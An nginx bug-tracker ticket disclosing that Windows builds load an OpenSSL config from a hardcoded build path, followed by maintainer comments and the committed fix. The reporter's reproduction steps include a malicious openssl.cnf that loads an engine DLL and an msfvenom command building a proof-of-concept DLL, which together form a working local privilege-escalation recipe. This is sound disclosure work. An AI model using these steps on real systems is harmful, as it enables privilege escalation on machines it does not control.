Opened 2 years ago

Closed 14 months ago

#2404 closed defect (fixed)

openssl config is loaded from the build location by default

Reported by: ossvulns@… Owned by:
Priority: minor Milestone:
Component: nginx-package Version: 1.22.x
Keywords: Cc: ossvulns@…
uname -a: Windows 10
nginx -V: nginx/1.22.1

Description (last modified by ossvulns@…)

I have noticed that the official Windows builds of nginx contain a vulnerability that can potentially be exploited to escalate privileges, by injecting an arbitrary OpenSSL engine library.

Tested versions:
http://nginx.org/download/nginx-1.22.1.zip (Stable version; SHA1: 15f51260a00624fd83aa33e544448a52e4fe9029)
http://nginx.org/download/nginx-1.23.2.zip (Mainline version; SHA1: 1e00daa40d61bc22884d82c2e9b9e3477ba4528a)

Test environment:
Windows 10, x64, 21H2

When nginx is launched, it tries to load the OpenSSL configuration file from

C:\MinGW\msys\1.0\home\Administrator\nginx\objs.msvc8\lib\openssl-1.1.1q\openssl\ssl\openssl.cnf

A low-privileged user can create the expected path (creating folders from C:\ can be done by regular users), including a malicious OpenSSL configuration file, to load an arbitrary OpenSSL Engine library. In many instances nginx will be executed either from an administrator or in the context of NT AUTHORITY\SYSTEM, leading to privilege escalation.

Reproduction steps:
1) As a non-administrator user, create the following folder structure:

C:\MinGW\msys\1.0\home\Administrator\nginx\objs.msvc8\lib\openssl-1.1.1q\openssl\ssl\

2) Create the following openssl.cnf and place it in the above path (again as a non-administrator user):

# openssl.cnf
openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
woot = woot_section

[woot_section]
engine_id = poc
dynamic_path = C:\\MinGW\\msys\\1.0\\home\\Administrator\\nginx\\objs.msvc8\\lib\\openssl-1.1.1q\\openssl\\ssl\\poc.dll
init = 0

3) To create a simple DLL, msfvenom can be used:

msfvenom -p windows/exec -a x86 cmd='notepad.exe' Exitfunc=thread -f dll -o poc.dll

As a non-administrator, copy the poc.dll to

C:\MinGW\msys\1.0\home\Administrator\nginx\objs.msvc8\lib\openssl-1.1.1q\openssl\ssl\

4) Execute nginx as a different user (e.g., administrator or through a service account)

The result is that the arbitrary DLL will get loaded and executed by nginx, in the context of the user who executed nginx, leading to privilege escalation.

The issue might have been introduced with the latest legacy build, nginx-1.20.2.zip (SHA1: 3670568e32b40fb9cd0166879f3f35b8df6b8522), which suffers from the same issue, although the path is slightly different (C:\nginx\nginx-stable\objs.msvc8\lib\openssl-1.1.1l\openssl\ssl\openssl.cnf).

In this case, the official prebuilt Windows binaries are available through an archive, not through an installer or similar, so the risk is likely reduced, as the execution context will be as whoever executed the binary. However, since this behaviour is not documented anywhere on the official website, and products might rely on the official Windows nginx builds, it is probably worthwhile to get fixed.

For reference, here are some examples of other software that suffered from the same kind of security issue in the past:

curl: CVE-2019-5443
PIA: CVE-2019-12572
McAfee Agent: CVE-2022-0166 (https://www.kb.cert.org/vuls/id/287178)
Tychon: CVE-2022-26872 (https://kb.cert.org/vuls/id/730007)
VMware Workstation: CVE-2021-21999

Change History (4)

comment:1 by ossvulns@…, 2 years ago

Description: modified (diff)

comment:2 by Maxim Dounin, 2 years ago

Status: newaccepted
Summary: nginx Windows Builds Privilege Escalation Vulnerabilityopenssl config is loaded from the build location by default

Thanks for filing the ticket.

As already explained in the the response to the report sent to the security team, this is a known issue, though it is not considered to be a security one. In particular, because nginx for Windows is considered to be a beta version and not expected to be used in production, see http://nginx.org/en/docs/windows.html.

This is probably something we want to fix to look for openssl config in the current directory instead. Or may be from prefix, which is the same in case of Windows builds as available on nginx.org, but might be different for custom builds (including non-windows builds with statically linked OpenSSL). Or from configuration prefix, that is, from the same directory as nginx.conf.

Just in case, an obvious workaround would be to set OpenSSL config location explicitly via the OPENSSL_CONF environment variable.

Don't hesitate to submit patches.

comment:3 by Maxim Dounin <mdounin@…>, 14 months ago

In 9137:0ba26c99b3a1/nginx:

SSL: avoid using OpenSSL config in build directory (ticket #2404).

With this change, the NGX_OPENSSL_NO_CONFIG macro is defined when nginx
is asked to build OpenSSL itself. And with this macro automatic loading
of OpenSSL configuration (from the build directory) is prevented unless
the OPENSSL_CONF environment variable is explicitly set.

Note that not loading configuration is broken in OpenSSL 1.1.1 and 1.1.1a
(fixed in OpenSSL 1.1.1b, see https://github.com/openssl/openssl/issues/7350).
If nginx is used to compile these OpenSSL versions, configuring nginx with
NGX_OPENSSL_NO_CONFIG explicitly set to 0 might be used as a workaround.

comment:4 by Maxim Dounin, 14 months ago

Resolution: fixed
Status: acceptedclosed

Fix committed, thanks for prodding this.

Note: See TracTickets for help on using tickets.